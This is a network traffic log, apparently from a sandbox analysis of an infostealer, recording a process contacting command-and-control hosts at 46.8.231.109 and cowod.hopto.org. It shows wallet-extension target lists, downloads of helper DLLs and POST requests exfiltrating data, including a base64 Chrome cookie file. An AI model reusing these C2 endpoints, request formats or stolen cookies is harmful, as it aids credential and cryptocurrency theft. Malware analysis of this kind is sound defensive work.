Oct 2, 2024 17:17:16.588968992 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 2, 2024 17:17:16.590071917 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 2, 2024 17:17:16.591114998 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="message"fplugins------JEBKECAFIDAFIECBKEHD--
Oct 2, 2024 17:17:16.777401924 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 2, 2024 17:17:16.794083118 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 46.8.231.109 Content-Length: 6051 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 17:17:16.794481993 CEST	6051	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 2, 2024 17:17:17.010987043 CEST	1236	OUT	Data Raw: 53 48 70 4a 5a 30 52 61 52 6d 74 76 4c 6d 56 34 5a 51 6f 4a 51 6e 4a 6c 56 31 70 54 61 57 6c 54 54 48 4e 45 53 48 70 4a 5a 30 52 61 52 6d 74 76 4c 6d 56 34 5a 51 6f 4a 51 6e 4a 6c 56 31 70 54 61 57 6c 54 54 48 4e 45 53 48 70 4a 5a 30 52 61 52 6d Data Ascii: SHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1pTaWlTTHNESHpJZ0RaRmtvLmV4ZQoJQnJlV1p
Oct 2, 2024 17:17:17.309015036 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:17.376488924 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:17.551471949 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 2, 2024 17:17:17.551490068 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 2, 2024 17:17:19.113208055 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CGIDGCGIEGDGDGDGHJKK--
Oct 2, 2024 17:17:19.317317963 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:19.378597975 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file"------AFIDGDBGCAAFIDHIJKEH--
Oct 2, 2024 17:17:19.580579996 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:20.303145885 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 65 65 32 63 30 30 37 65 36 36 33 31 30 64 34 38 65 65 31 35 65 66 31 66 39 66 62 62 61 65 30 63 63 31 34 33 37 30 37 33 32 33 36 65 61 37 30 62 38 63 31 38 37 61 31 63 30 63 31 34 39 63 65 34 32 33 32 62 34 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"aaee2c007e66310d48ee15ef1f9fbbae0cc1437073236ea70b8c187a1c0c149ce4232b43------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="file"------ECGIIIDAKJDHJKFHIEBF--
Oct 2, 2024 17:17:20.501604080 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 2, 2024 17:17:21.176033020 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:21.373034954 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 2, 2024 17:17:22.086688042 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:22.260097980 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	65275	45.132.206.251	80	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:16.594974995 CEST	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: cowod.hopto.org Content-Length: 3153 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 17:17:16.595010042 CEST	3153	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------HIEBAKEHDHCAKE
Oct 2, 2024 17:17:17.350424051 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 02 Oct 2024 15:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	65279	46.8.231.109	80	5140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:22.392970085 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 2, 2024 17:17:22.982861042 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:17:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
